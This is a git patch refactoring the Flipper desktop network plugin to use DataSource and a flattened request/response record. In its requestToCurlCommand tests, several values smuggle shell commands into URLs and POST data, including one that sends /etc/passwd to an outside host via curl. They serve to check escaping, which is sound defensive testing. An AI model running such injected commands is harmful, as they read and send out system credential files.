From 23402dfff6be52b4019a15a482aeb657cb72dca9 Mon Sep 17 00:00:00 2001
From: Michel Weststrate <mweststrate@fb.com>
Date: Thu, 6 May 2021 04:26:41 -0700
Subject: [PATCH] Convert network plugin to Sandy

Summary:
converted the network plugin to use DataSource / DataTable. Restructured the storage to contain a single flat normalised object that will be much more efficient for rendering / filtering (as columns currently don't support nested keys yet, and lazy columns are a lot less flexible)

lint errors and further `flipper` package usages will be cleaned up in the next diff to make sure this diff doesn't become too large.

The rest of the plugin is converted in the next diff

Reviewed By: nikoant

Differential Revision: D27938581

fbshipit-source-id: 2e0e2ba75ef13d88304c6566d4519b121daa215b
---
 .../flipper-plugin/src/state/DataSource.tsx   |   5 +
 .../network/ManageMockResponsePanel.tsx       |  10 +-
 .../public/network/MockResponseDialog.tsx     |   6 +-
 .../plugins/public/network/RequestDetails.tsx | 214 +++--
 .../public/network/__tests__/chunks.node.tsx  | 127 +--
 .../network/__tests__/encoding.node.tsx       |   6 +-
 .../__tests__/requestToCurlCommand.node.tsx   |  51 +-
 desktop/plugins/public/network/chunks.tsx     |  32 +-
 desktop/plugins/public/network/index.tsx      | 841 +++++++-----------
 desktop/plugins/public/network/types.tsx      |  40 +-
 desktop/plugins/public/network/utils.tsx      |  38 +-
 docs/extending/sandy-migration.mdx            |   1 +
 12 files changed, 608 insertions(+), 763 deletions(-)

diff --git a/desktop/flipper-plugin/src/state/DataSource.tsx b/desktop/flipper-plugin/src/state/DataSource.tsx
index e69ee570a..721836611 100644
--- a/desktop/flipper-plugin/src/state/DataSource.tsx
+++ b/desktop/flipper-plugin/src/state/DataSource.tsx
@@ -137,6 +137,11 @@ export class DataSource<
     return unwrap(this._records[index]);
   }
 
+  public has(key: KEY_TYPE) {
+    this.assertKeySet();
+    return this._recordsById.has(key);
+  }
+
   public getById(key: KEY_TYPE) {
     this.assertKeySet();
     return this._recordsById.get(key);
diff --git a/desktop/plugins/public/network/ManageMockResponsePanel.tsx b/desktop/plugins/public/network/ManageMockResponsePanel.tsx
index b203ff3ad..c385aebc3 100644
--- a/desktop/plugins/public/network/ManageMockResponsePanel.tsx
+++ b/desktop/plugins/public/network/ManageMockResponsePanel.tsx
@@ -17,7 +17,7 @@ import {
   Panel,
 } from 'flipper';
 import React, {useContext, useState, useMemo, useEffect} from 'react';
-import {Route, Request, Response} from './types';
+import {Route, Requests} from './types';
 import {MockResponseDetails} from './MockResponseDetails';
 import {NetworkRouteContext} from './index';
 import {RequestId} from './types';
@@ -27,8 +27,7 @@ import {NUX, Layout} from 'flipper-plugin';
 type Props = {
   routes: {[id: string]: Route};
   highlightedRows: Set<string> | null | undefined;
-  requests: {[id: string]: Request};
-  responses: {[id: string]: Response};
+  requests: Requests;
 };
 
 const ColumnSizes = {route: 'flex'};
@@ -224,7 +223,7 @@ export function ManageMockResponsePanel(props: Props) {
               Add Route
             </Button>
             <NUX
-              title="It is now possible to highlight calls from the network call list and convert them into mock routes."
+              title="It is now possible to select calls from the network call list and convert them into mock routes."
               placement="bottom">
               <Button
                 onClick={() => {
@@ -232,13 +231,12 @@ export function ManageMockResponsePanel(props: Props) {
                     !props.highlightedRows ||
                     props.highlightedRows.size == 0
                   ) {
-                    message.info('No network calls have been highlighted');
+                    message.info('No network calls have been selected');
                     return;
                   }
                   networkRouteManager.copyHighlightedCalls(
                     props.highlightedRows as Set<string>,
                     props.requests,
-                    props.responses,
                   );
                 }}>
                 Copy Highlighted Calls
diff --git a/desktop/plugins/public/network/MockResponseDialog.tsx b/desktop/plugins/public/network/MockResponseDialog.tsx
index 7c7df38ed..5487e10b2 100644
--- a/desktop/plugins/public/network/MockResponseDialog.tsx
+++ b/desktop/plugins/public/network/MockResponseDialog.tsx
@@ -10,7 +10,7 @@
 import {Button, styled, Layout, Spacer} from 'flipper';
 
 import {ManageMockResponsePanel} from './ManageMockResponsePanel';
-import {Route, Request, Response} from './types';
+import {Route, Requests} from './types';
 import React from 'react';
 
 import {NetworkRouteContext} from './index';
@@ -20,8 +20,7 @@ type Props = {
   routes: {[id: string]: Route};
   onHide: () => void;
   highlightedRows: Set<string> | null | undefined;
-  requests: {[id: string]: Request};
-  responses: {[id: string]: Response};
+  requests: Requests;
 };
 
 const Title = styled('div')({
@@ -45,7 +44,6 @@ export function MockResponseDialog(props: Props) {
           routes={props.routes}
           highlightedRows={props.highlightedRows}
           requests={props.requests}
-          responses={props.responses}
         />
       </Layout.Container>
       <Layout.Horizontal gap>
diff --git a/desktop/plugins/public/network/RequestDetails.tsx b/desktop/plugins/public/network/RequestDetails.tsx
index 7807ae55f..0b4ef2df0 100644
--- a/desktop/plugins/public/network/RequestDetails.tsx
+++ b/desktop/plugins/public/network/RequestDetails.tsx
@@ -7,7 +7,7 @@
  * @format
  */
 
-import {Request, Response, Header, Insights, RetryInsights} from './types';
+import {Request, Header, Insights, RetryInsights} from './types';
 
 import {
   Component,
@@ -55,7 +55,6 @@ const KeyValueColumns = {
 
 type RequestDetailsProps = {
   request: Request;
-  response: Response | null | undefined;
   bodyFormat: string;
   onSelectFormat: (bodyFormat: string) => void;
 };
@@ -111,7 +110,7 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
   };
 
   render() {
-    const {request, response, bodyFormat, onSelectFormat} = this.props;
+    const {request, bodyFormat, onSelectFormat} = this.props;
     const url = new URL(request.url);
 
     const formattedText = bodyFormat == BodyOptions.formatted;
@@ -143,17 +142,17 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
           </Panel>
         ) : null}
 
-        {request.headers.length > 0 ? (
+        {request.requestHeaders.length > 0 ? (
           <Panel
             key="headers"
             heading={'Request Headers'}
             floating={false}
             padded={false}>
-            <HeaderInspector headers={request.headers} />
+            <HeaderInspector headers={request.requestHeaders} />
           </Panel>
         ) : null}
 
-        {request.data != null ? (
+        {request.requestData != null ? (
           <Panel
             key="requestData"
             heading={'Request Body'}
@@ -165,28 +164,29 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
             />
           </Panel>
         ) : null}
-        {response ? (
+        {request.status ? (
           <>
-            {response.headers.length > 0 ? (
+            {request.responseHeaders?.length ? (
               <Panel
                 key={'responseheaders'}
                 heading={`Response Headers${
-                  response.isMock ? ' (Mocked)' : ''
+                  request.responseIsMock ? ' (Mocked)' : ''
                 }`}
                 floating={false}
                 padded={false}>
-                <HeaderInspector headers={response.headers} />
+                <HeaderInspector headers={request.responseHeaders} />
               </Panel>
             ) : null}
             <Panel
               key={'responsebody'}
-              heading={`Response Body${response.isMock ? ' (Mocked)' : ''}`}
+              heading={`Response Body${
+                request.responseIsMock ? ' (Mocked)' : ''
+              }`}
               floating={false}
               padded={!formattedText}>
               <ResponseBodyInspector
                 formattedText={formattedText}
                 request={request}
-                response={response}
               />
             </Panel>
           </>
@@ -204,13 +204,13 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
             options={BodyOptions}
           />
         </Panel>
-        {response && response.insights ? (
+        {request.insights ? (
           <Panel
             key="insights"
             heading={'Insights'}
             floating={false}
             collapsed={true}>
-            <InsightsInspector insights={response.insights} />
+            <InsightsInspector insights={request.insights} />
           </Panel>
         ) : null}
       </RequestDetails.Container>
@@ -311,7 +311,7 @@ const BodyContainer = styled.div({
 
 type BodyFormatter = {
   formatRequest?: (request: Request) => any;
-  formatResponse?: (request: Request, response: Response) => any;
+  formatResponse?: (request: Request) => any;
 };
 
 class RequestBodyInspector extends Component<{
@@ -320,7 +320,7 @@ class RequestBodyInspector extends Component<{
 }> {
   render() {
     const {request, formattedText} = this.props;
-    if (request.data == null || request.data.trim() === '') {
+    if (request.requestData == null || request.requestData.trim() === '') {
       return <Empty />;
     }
     const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
@@ -346,25 +346,24 @@ class RequestBodyInspector extends Component<{
         }
       }
     }
-    return renderRawBody(request);
+    return renderRawBody(request, 'request');
   }
 }
 
 class ResponseBodyInspector extends Component<{
-  response: Response;
   request: Request;
   formattedText: boolean;
 }> {
   render() {
-    const {request, response, formattedText} = this.props;
-    if (response.data == null || response.data.trim() === '') {
+    const {request, formattedText} = this.props;
+    if (request.responseData == null || request.responseData.trim() === '') {
       return <Empty />;
     }
     const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
     for (const formatter of bodyFormatters) {
       if (formatter.formatResponse) {
         try {
-          const component = formatter.formatResponse(request, response);
+          const component = formatter.formatResponse(request);
           if (component) {
             return (
               <BodyContainer>
@@ -383,7 +382,7 @@ class ResponseBodyInspector extends Component<{
         }
       }
     }
-    return renderRawBody(response);
+    return renderRawBody(request, 'response');
   }
 }
 
@@ -400,9 +399,26 @@ const Empty = () => (
   </BodyContainer>
 );
 
-function renderRawBody(container: Request | Response) {
+function getRequestData(request: Request) {
+  return {
+    headers: request.requestHeaders,
+    data: request.requestData,
+  };
+}
+
+function getResponseData(request: Request) {
+  return {
+    headers: request.responseHeaders,
+    data: request.responseData,
+  };
+}
+
+function renderRawBody(request: Request, mode: 'request' | 'response') {
   // TODO: we want decoding only for non-binary data! See D23403095
-  const decoded = decodeBody(container);
+  const data = mode === 'request' ? request.requestData : request.responseData;
+  const decoded = decodeBody(
+    mode === 'request' ? getRequestData(request) : getResponseData(request),
+  );
   return (
     <BodyContainer>
       {decoded ? (
@@ -413,7 +429,7 @@ function renderRawBody(container: Request | Response) {
         <>
           <FormattedBy>(Failed to decode)</FormattedBy>
           <Text selectable wordWrap="break-word">
-            {container.data}
+            {data}
           </Text>
         </>
       )}
@@ -482,20 +498,24 @@ class ImageWithSize extends Component<ImageWithSizeProps, ImageWithSizeState> {
 }
 
 class ImageFormatter {
-  formatResponse = (request: Request, response: Response) => {
-    if (getHeaderValue(response.headers, 'content-type').startsWith('image/')) {
-      if (response.data) {
+  formatResponse(request: Request) {
+    if (
+      getHeaderValue(request.responseHeaders, 'content-type').startsWith(
+        'image/',
+      )
+    ) {
+      if (request.responseData) {
         const src = `data:${getHeaderValue(
-          response.headers,
+          request.responseHeaders,
           'content-type',
-        )};base64,${response.data}`;
+        )};base64,${request.responseData}`;
         return <ImageWithSize src={src} />;
       } else {
         // fallback to using the request url
         return <ImageWithSize src={request.url} />;
       }
     }
-  };
+  }
 }
 
 class VideoFormatter {
@@ -504,8 +524,8 @@ class VideoFormatter {
     maxHeight: 500,
   });
 
-  formatResponse = (request: Request, response: Response) => {
-    const contentType = getHeaderValue(response.headers, 'content-type');
+  formatResponse = (request: Request) => {
+    const contentType = getHeaderValue(request.responseHeaders, 'content-type');
     if (contentType.startsWith('video/')) {
       return (
         <MediaContainer>
@@ -551,21 +571,21 @@ class XMLText extends Component<{body: any}> {
 }
 
 class JSONTextFormatter {
-  formatRequest = (request: Request) => {
+  formatRequest(request: Request) {
     return this.format(
-      decodeBody(request),
-      getHeaderValue(request.headers, 'content-type'),
+      decodeBody(getRequestData(request)),
+      getHeaderValue(request.requestHeaders, 'content-type'),
     );
-  };
+  }
 
-  formatResponse = (_request: Request, response: Response) => {
+  formatResponse(request: Request) {
     return this.format(
-      decodeBody(response),
-      getHeaderValue(response.headers, 'content-type'),
+      decodeBody(getResponseData(request)),
+      getHeaderValue(request.responseHeaders, 'content-type'),
     );
-  };
+  }
 
-  format = (body: string, contentType: string) => {
+  format(body: string, contentType: string) {
     if (
       contentType.startsWith('application/json') ||
       contentType.startsWith('application/hal+json') ||
@@ -583,47 +603,47 @@ class JSONTextFormatter {
           .map((data, idx) => <JSONText key={idx}>{data}</JSONText>);
       }
     }
-  };
+  }
 }
 
 class XMLTextFormatter {
-  formatRequest = (request: Request) => {
+  formatRequest(request: Request) {
     return this.format(
-      decodeBody(request),
-      getHeaderValue(request.headers, 'content-type'),
+      decodeBody(getRequestData(request)),
+      getHeaderValue(request.requestHeaders, 'content-type'),
     );
-  };
+  }
 
-  formatResponse = (_request: Request, response: Response) => {
+  formatResponse(request: Request) {
     return this.format(
-      decodeBody(response),
-      getHeaderValue(response.headers, 'content-type'),
+      decodeBody(getResponseData(request)),
+      getHeaderValue(request.responseHeaders, 'content-type'),
     );
-  };
+  }
 
-  format = (body: string, contentType: string) => {
+  format(body: string, contentType: string) {
     if (contentType.startsWith('text/html')) {
       return <XMLText body={body} />;
     }
-  };
+  }
 }
 
 class JSONFormatter {
-  formatRequest = (request: Request) => {
+  formatRequest(request: Request) {
     return this.format(
-      decodeBody(request),
-      getHeaderValue(request.headers, 'content-type'),
+      decodeBody(getRequestData(request)),
+      getHeaderValue(request.requestHeaders, 'content-type'),
     );
-  };
+  }
 
-  formatResponse = (_request: Request, response: Response) => {
+  formatResponse(request: Request) {
     return this.format(
-      decodeBody(response),
-      getHeaderValue(response.headers, 'content-type'),
+      decodeBody(getResponseData(request)),
+      getHeaderValue(request.responseHeaders, 'content-type'),
     );
-  };
+  }
 
-  format = (body: string, contentType: string) => {
+  format(body: string, contentType: string) {
     if (
       contentType.startsWith('application/json') ||
       contentType.startsWith('application/hal+json') ||
@@ -651,35 +671,35 @@ class JSONFormatter {
         );
       }
     }
-  };
+  }
 }
 
 class LogEventFormatter {
-  formatRequest = (request: Request) => {
+  formatRequest(request: Request) {
     if (request.url.indexOf('logging_client_event') > 0) {
-      const data = querystring.parse(decodeBody(request));
+      const data = querystring.parse(decodeBody(getRequestData(request)));
       if (typeof data.message === 'string') {
         data.message = JSON.parse(data.message);
       }
       return <ManagedDataInspector expandRoot={true} data={data} />;
     }
-  };
+  }
 }
 
 class GraphQLBatchFormatter {
-  formatRequest = (request: Request) => {
+  formatRequest(request: Request) {
     if (request.url.indexOf('graphqlbatch') > 0) {
-      const data = querystring.parse(decodeBody(request));
+      const data = querystring.parse(decodeBody(getRequestData(request)));
       if (typeof data.queries === 'string') {
         data.queries = JSON.parse(data.queries);
       }
       return <ManagedDataInspector expandRoot={true} data={data} />;
     }
-  };
+  }
 }
 
 class GraphQLFormatter {
-  parsedServerTimeForFirstFlush = (data: any) => {
+  parsedServerTimeForFirstFlush(data: any) {
     const firstResponse =
       Array.isArray(data) && data.length > 0 ? data[0] : data;
     if (!firstResponse) {
@@ -702,10 +722,10 @@ class GraphQLFormatter {
           (timeAtFlushMs - requestStartMs)}
       </WrappingText>
     );
-  };
-  formatRequest = (request: Request) => {
+  }
+  formatRequest(request: Request) {
     if (request.url.indexOf('graphql') > 0) {
-      const decoded = decodeBody(request);
+      const decoded = decodeBody(getRequestData(request));
       if (!decoded) {
         return undefined;
       }
@@ -718,14 +738,14 @@ class GraphQLFormatter {
       }
       return <ManagedDataInspector expandRoot={true} data={data} />;
     }
-  };
+  }
 
-  formatResponse = (_request: Request, response: Response) => {
+  formatResponse(request: Request) {
     return this.format(
-      decodeBody(response),
-      getHeaderValue(response.headers, 'content-type'),
+      decodeBody(getResponseData(request)),
+      getHeaderValue(request.responseHeaders, 'content-type'),
     );
-  };
+  }
 
   format = (body: string, contentType: string) => {
     if (
@@ -770,9 +790,9 @@ class GraphQLFormatter {
 
 class FormUrlencodedFormatter {
   formatRequest = (request: Request) => {
-    const contentType = getHeaderValue(request.headers, 'content-type');
+    const contentType = getHeaderValue(request.requestHeaders, 'content-type');
     if (contentType.startsWith('application/x-www-form-urlencoded')) {
-      const decoded = decodeBody(request);
+      const decoded = decodeBody(getRequestData(request));
       if (!decoded) {
         return undefined;
       }
@@ -788,16 +808,18 @@ class FormUrlencodedFormatter {
 
 class BinaryFormatter {
   formatRequest(request: Request) {
-    return this.format(request);
-  }
-
-  formatResponse(_request: Request, response: Response) {
-    return this.format(response);
-  }
-
-  format(container: Request | Response) {
     if (
-      getHeaderValue(container.headers, 'content-type') ===
+      getHeaderValue(request.requestHeaders, 'content-type') ===
+      'application/octet-stream'
+    ) {
+      return '(binary data)'; // we could offer a download button here?
+    }
+    return undefined;
+  }
+
+  formatResponse(request: Request) {
+    if (
+      getHeaderValue(request.responseHeaders, 'content-type') ===
       'application/octet-stream'
     ) {
       return '(binary data)'; // we could offer a download button here?
@@ -811,7 +833,7 @@ class ProtobufFormatter {
 
   formatRequest(request: Request) {
     if (
-      getHeaderValue(request.headers, 'content-type') ===
+      getHeaderValue(request.requestHeaders, 'content-type') ===
       'application/x-protobuf'
     ) {
       const protobufDefinition = this.protobufDefinitionRepository.getRequestType(
@@ -827,9 +849,9 @@ class ProtobufFormatter {
         );
       }
 
-      if (request?.data) {
+      if (request.requestData) {
         const data = protobufDefinition.decode(
-          Base64.toUint8Array(request.data),
+          Base64.toUint8Array(request.requestData),
         );
         return <JSONText>{data.toJSON()}</JSONText>;
       } else {
@@ -841,9 +863,9 @@ class ProtobufFormatter {
     return undefined;
   }
 
-  formatResponse(request: Request, response: Response) {
+  formatResponse(request: Request) {
     if (
-      getHeaderValue(response.headers, 'content-type') ===
+      getHeaderValue(request.responseHeaders, 'content-type') ===
         'application/x-protobuf' ||
       request.url.endsWith('.proto')
     ) {
@@ -860,9 +882,9 @@ class ProtobufFormatter {
         );
       }
 
-      if (response?.data) {
+      if (request.responseData) {
         const data = protobufDefinition.decode(
-          Base64.toUint8Array(response.data),
+          Base64.toUint8Array(request.responseData),
         );
         return <JSONText>{data.toJSON()}</JSONText>;
       } else {
diff --git a/desktop/plugins/public/network/__tests__/chunks.node.tsx b/desktop/plugins/public/network/__tests__/chunks.node.tsx
index ccbaa3d83..d7123a4f0 100644
--- a/desktop/plugins/public/network/__tests__/chunks.node.tsx
+++ b/desktop/plugins/public/network/__tests__/chunks.node.tsx
@@ -8,11 +8,10 @@
  */
 
 import {combineBase64Chunks} from '../chunks';
-import {TestUtils, createState} from 'flipper-plugin';
+import {TestUtils} from 'flipper-plugin';
 import * as NetworkPlugin from '../index';
 import {assembleChunksIfResponseIsComplete} from '../chunks';
 import path from 'path';
-import {PartialResponses, Response} from '../types';
 import {Base64} from 'js-base64';
 import * as fs from 'fs';
 import {promisify} from 'util';
@@ -88,24 +87,53 @@ test('Reducer correctly adds followup chunk', () => {
 
 test('Reducer correctly combines initial response and followup chunk', () => {
   const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin);
-  instance.partialResponses.set({
-    '1': {
-      followupChunks: {},
-      initialResponse: {
-        data: 'aGVs',
-        headers: [],
-        id: '1',
-        insights: null,
-        isMock: false,
-        reason: 'nothing',
-        status: 200,
-        timestamp: 123,
-        index: 0,
-        totalChunks: 2,
-      },
-    },
+  sendEvent('newRequest', {
+    data: 'x',
+    headers: [{key: 'y', value: 'z'}],
+    id: '1',
+    method: 'GET',
+    timestamp: 0,
+    url: 'http://test.com',
+  });
+  sendEvent('partialResponse', {
+    data: 'aGVs',
+    headers: [],
+    id: '1',
+    insights: null,
+    isMock: false,
+    reason: 'nothing',
+    status: 200,
+    timestamp: 123,
+    index: 0,
+    totalChunks: 2,
+  });
+  expect(instance.partialResponses.get()).toMatchInlineSnapshot(`
+    Object {
+      "1": Object {
+        "followupChunks": Object {},
+        "initialResponse": Object {
+          "data": "aGVs",
+          "headers": Array [],
+          "id": "1",
+          "index": 0,
+          "insights": null,
+          "isMock": false,
+          "reason": "nothing",
+          "status": 200,
+          "timestamp": 123,
+          "totalChunks": 2,
+        },
+      },
+    }
+  `);
+  expect(instance.requests.records()[0]).toMatchObject({
+    requestData: 'x',
+    requestHeaders: [{key: 'y', value: 'z'}],
+    id: '1',
+    method: 'GET',
+    url: 'http://test.com',
+    domain: 'test.com/',
   });
-  expect(instance.responses.get()).toEqual({});
   sendEvent('partialResponse', {
     id: '1',
     totalChunks: 2,
@@ -114,20 +142,27 @@ test('Reducer correctly combines initial response and followup chunk', () => {
   });
 
   expect(instance.partialResponses.get()).toEqual({});
-  expect(instance.responses.get()['1']).toMatchInlineSnapshot(`
-    Object {
-      "data": "aGVsbG8=",
-      "headers": Array [],
-      "id": "1",
-      "index": 0,
-      "insights": null,
-      "isMock": false,
-      "reason": "nothing",
-      "status": 200,
-      "timestamp": 123,
-      "totalChunks": 2,
-    }
-  `);
+  expect(instance.requests.records()[0]).toMatchObject({
+    domain: 'test.com/',
+    duration: 123,
+    id: '1',
+    insights: undefined,
+    method: 'GET',
+    reason: 'nothing',
+    requestData: 'x',
+    requestHeaders: [
+      {
+        key: 'y',
+        value: 'z',
+      },
+    ],
+    responseData: 'aGVsbG8=',
+    responseHeaders: [],
+    responseIsMock: false,
+    responseLength: 5,
+    status: 200,
+    url: 'http://test.com',
+  });
 });
 
 async function readJsonFixture(filename: string) {
@@ -138,38 +173,22 @@ async function readJsonFixture(filename: string) {
 
 test('handle small binary payloads correctly', async () => {
   const input = await readJsonFixture('partial_failing_example.json');
-  const partials = createState<PartialResponses>({
-    test: input,
-  });
-  const responses = createState<Record<string, Response>>({});
   expect(() => {
     // this used to throw
-    assembleChunksIfResponseIsComplete(partials, responses, 'test');
+    assembleChunksIfResponseIsComplete(input);
   }).not.toThrow();
 });
 
 test('handle non binary payloads correcty', async () => {
   const input = await readJsonFixture('partial_utf8_before.json');
-  const partials = createState<PartialResponses>({
-    test: input,
-  });
-  const responses = createState<Record<string, Response>>({});
-  expect(() => {
-    assembleChunksIfResponseIsComplete(partials, responses, 'test');
-  }).not.toThrow();
   const expected = await readJsonFixture('partial_utf8_after.json');
-  expect(responses.get()['test']).toEqual(expected);
+  const response = assembleChunksIfResponseIsComplete(input);
+  expect(response).toEqual(expected);
 });
 
 test('handle binary payloads correcty', async () => {
   const input = await readJsonFixture('partial_binary_before.json');
-  const partials = createState<PartialResponses>({
-    test: input,
-  });
-  const responses = createState<Record<string, Response>>({});
-  expect(() => {
-    assembleChunksIfResponseIsComplete(partials, responses, 'test');
-  }).not.toThrow();
   const expected = await readJsonFixture('partial_binary_after.json');
-  expect(responses.get()['test']).toEqual(expected);
+  const response = assembleChunksIfResponseIsComplete(input);
+  expect(response).toEqual(expected);
 });
diff --git a/desktop/plugins/public/network/__tests__/encoding.node.tsx b/desktop/plugins/public/network/__tests__/encoding.node.tsx
index 0f9580123..d38a82446 100644
--- a/desktop/plugins/public/network/__tests__/encoding.node.tsx
+++ b/desktop/plugins/public/network/__tests__/encoding.node.tsx
@@ -10,17 +10,17 @@
 import {readFile} from 'fs';
 import path from 'path';
 import {decodeBody} from '../utils';
-import {Response} from '../types';
+import {ResponseInfo} from '../types';
 import {promisify} from 'util';
 import {readFileSync} from 'fs';
 
-async function createMockResponse(input: string): Promise<Response> {
+async function createMockResponse(input: string): Promise<ResponseInfo> {
   const inputData = await promisify(readFile)(
     path.join(__dirname, 'fixtures', input),
     'ascii',
   );
   const gzip = input.includes('gzip'); // if gzip in filename, assume it is a gzipped body
-  const testResponse: Response = {
+  const testResponse: ResponseInfo = {
     id: '0',
     timestamp: 0,
     status: 200,
diff --git a/desktop/plugins/public/network/__tests__/requestToCurlCommand.node.tsx b/desktop/plugins/public/network/__tests__/requestToCurlCommand.node.tsx
index 678232ec9..72ae01599 100644
--- a/desktop/plugins/public/network/__tests__/requestToCurlCommand.node.tsx
+++ b/desktop/plugins/public/network/__tests__/requestToCurlCommand.node.tsx
@@ -8,16 +8,15 @@
  */
 
 import {convertRequestToCurlCommand} from '../utils';
-import {Request} from '../types';
 
 test('convertRequestToCurlCommand: simple GET', () => {
-  const request: Request = {
+  const request = {
     id: 'request id',
     timestamp: 1234567890,
     method: 'GET',
     url: 'https://fbflipper.com/',
-    headers: [],
-    data: null,
+    requestHeaders: [],
+    requestData: undefined,
   };
 
   const command = convertRequestToCurlCommand(request);
@@ -25,13 +24,13 @@ test('convertRequestToCurlCommand: simple GET', () => {
 });
 
 test('convertRequestToCurlCommand: simple POST', () => {
-  const request: Request = {
+  const request = {
     id: 'request id',
     timestamp: 1234567890,
     method: 'POST',
     url: 'https://fbflipper.com/',
-    headers: [],
-    data: btoa('some=data&other=param'),
+    requestHeaders: [],
+    requestData: btoa('some=data&other=param'),
   };
 
   const command = convertRequestToCurlCommand(request);
@@ -41,13 +40,13 @@ test('convertRequestToCurlCommand: simple POST', () => {
 });
 
 test('convertRequestToCurlCommand: malicious POST URL', () => {
-  let request: Request = {
+  let request = {
     id: 'request id',
     timestamp: 1234567890,
     method: 'POST',
     url: "https://fbflipper.com/'; cat /etc/password",
-    headers: [],
-    data: btoa('some=data&other=param'),
+    requestHeaders: [],
+    requestData: btoa('some=data&other=param'),
   };
 
   let command = convertRequestToCurlCommand(request);
@@ -60,8 +59,8 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
     timestamp: 1234567890,
     method: 'POST',
     url: 'https://fbflipper.com/"; cat /etc/password',
-    headers: [],
-    data: btoa('some=data&other=param'),
+    requestHeaders: [],
+    requestData: btoa('some=data&other=param'),
   };
 
   command = convertRequestToCurlCommand(request);
@@ -71,13 +70,13 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
 });
 
 test('convertRequestToCurlCommand: malicious POST URL', () => {
-  let request: Request = {
+  let request = {
     id: 'request id',
     timestamp: 1234567890,
     method: 'POST',
     url: "https://fbflipper.com/'; cat /etc/password",
-    headers: [],
-    data: btoa('some=data&other=param'),
+    requestHeaders: [],
+    requestData: btoa('some=data&other=param'),
   };
 
   let command = convertRequestToCurlCommand(request);
@@ -90,8 +89,8 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
     timestamp: 1234567890,
     method: 'POST',
     url: 'https://fbflipper.com/"; cat /etc/password',
-    headers: [],
-    data: btoa('some=data&other=param'),
+    requestHeaders: [],
+    requestData: btoa('some=data&other=param'),
   };
 
   command = convertRequestToCurlCommand(request);
@@ -101,13 +100,15 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
 });
 
 test('convertRequestToCurlCommand: malicious POST data', () => {
-  let request: Request = {
+  let request = {
     id: 'request id',
     timestamp: 1234567890,
     method: 'POST',
     url: 'https://fbflipper.com/',
-    headers: [],
-    data: btoa('some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"'),
+    requestHeaders: [],
+    requestData: btoa(
+      'some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"',
+    ),
   };
 
   let command = convertRequestToCurlCommand(request);
@@ -120,8 +121,8 @@ test('convertRequestToCurlCommand: malicious POST data', () => {
     timestamp: 1234567890,
     method: 'POST',
     url: 'https://fbflipper.com/',
-    headers: [],
-    data: btoa('some=!!'),
+    requestHeaders: [],
+    requestData: btoa('some=!!'),
   };
 
   command = convertRequestToCurlCommand(request);
@@ -131,13 +132,13 @@ test('convertRequestToCurlCommand: malicious POST data', () => {
 });
 
 test('convertRequestToCurlCommand: control characters', () => {
-  const request: Request = {
+  const request = {
     id: 'request id',
     timestamp: 1234567890,
     method: 'GET',
     url: 'https://fbflipper.com/',
-    headers: [],
-    data: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
+    requestHeaders: [],
+    requestData: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
   };
 
   const command = convertRequestToCurlCommand(request);
diff --git a/desktop/plugins/public/network/chunks.tsx b/desktop/plugins/public/network/chunks.tsx
index 04174839e..36a322d2e 100644
--- a/desktop/plugins/public/network/chunks.tsx
+++ b/desktop/plugins/public/network/chunks.tsx
@@ -7,20 +7,16 @@
  * @format
  */
 
-import type {PartialResponses, Response} from './types';
-import {Atom} from 'flipper-plugin';
+import type {PartialResponse, ResponseInfo} from './types';
 import {Base64} from 'js-base64';
 
 export function assembleChunksIfResponseIsComplete(
-  partialResponses: Atom<PartialResponses>,
-  responses: Atom<Record<string, Response>>,
-  responseId: string,
-) {
-  const partialResponseEntry = partialResponses.get()[responseId];
-  const numChunks = partialResponseEntry.initialResponse?.totalChunks;
+  partialResponseEntry: PartialResponse | undefined,
+): ResponseInfo | undefined {
+  const numChunks = partialResponseEntry?.initialResponse?.totalChunks;
   if (
-    !partialResponseEntry.initialResponse ||
     !numChunks ||
+    !partialResponseEntry?.initialResponse ||
     Object.keys(partialResponseEntry.followupChunks).length + 1 < numChunks
   ) {
     // Partial response not yet complete, do nothing.
@@ -28,7 +24,7 @@ export function assembleChunksIfResponseIsComplete(
   }
 
   // Partial response has all required chunks, convert it to a full Response.
-  const response: Response = partialResponseEntry.initialResponse;
+  const response: ResponseInfo = partialResponseEntry.initialResponse;
   const allChunks: string[] =
     response.data != null
       ? [
@@ -41,17 +37,11 @@ export function assembleChunksIfResponseIsComplete(
       : [];
   const data = combineBase64Chunks(allChunks);
 
-  responses.update((draft) => {
-    draft[responseId] = {
-      ...response,
-      // Currently data is always decoded at render time, so re-encode it to match the single response format.
-      data,
-    };
-  });
-
-  partialResponses.update((draft) => {
-    delete draft[responseId];
-  });
+  return {
+    ...response,
+    // Currently data is always decoded at render time, so re-encode it to match the single response format.
+    data,
+  };
 }
 
 export function combineBase64Chunks(chunks: string[]): string {
diff --git a/desktop/plugins/public/network/index.tsx b/desktop/plugins/public/network/index.tsx
index f32363a2c..f819e285d 100644
--- a/desktop/plugins/public/network/index.tsx
+++ b/desktop/plugins/public/network/index.tsx
@@ -7,42 +7,38 @@
  * @format
  */
 
-import {padStart} from 'lodash';
-import React, {createContext} from 'react';
-import {MenuItemConstructorOptions} from 'electron';
-import {message} from 'antd';
+import React, {createContext, createRef} from 'react';
+import {Menu, message} from 'antd';
 
 import {
-  ContextMenu,
   Layout,
   Button,
-  Text,
   Glyph,
   colors,
-  PureComponent,
   DetailSidebar,
   styled,
-  SearchableTable,
   Sheet,
-  TableHighlightedRows,
-  TableRows,
-  TableBodyRow,
 } from 'flipper';
 import {
   Request,
-  RequestId,
-  Response,
+  RequestInfo,
+  ResponseInfo,
   Route,
   ResponseFollowupChunk,
   Header,
   MockRoute,
   AddProtobufEvent,
   PartialResponses,
+  Requests,
 } from './types';
 import {ProtobufDefinitionsRepository} from './ProtobufDefinitionsRepository';
-import {convertRequestToCurlCommand, getHeaderValue, decodeBody} from './utils';
+import {
+  convertRequestToCurlCommand,
+  getHeaderValue,
+  decodeBody,
+  getResponseLength,
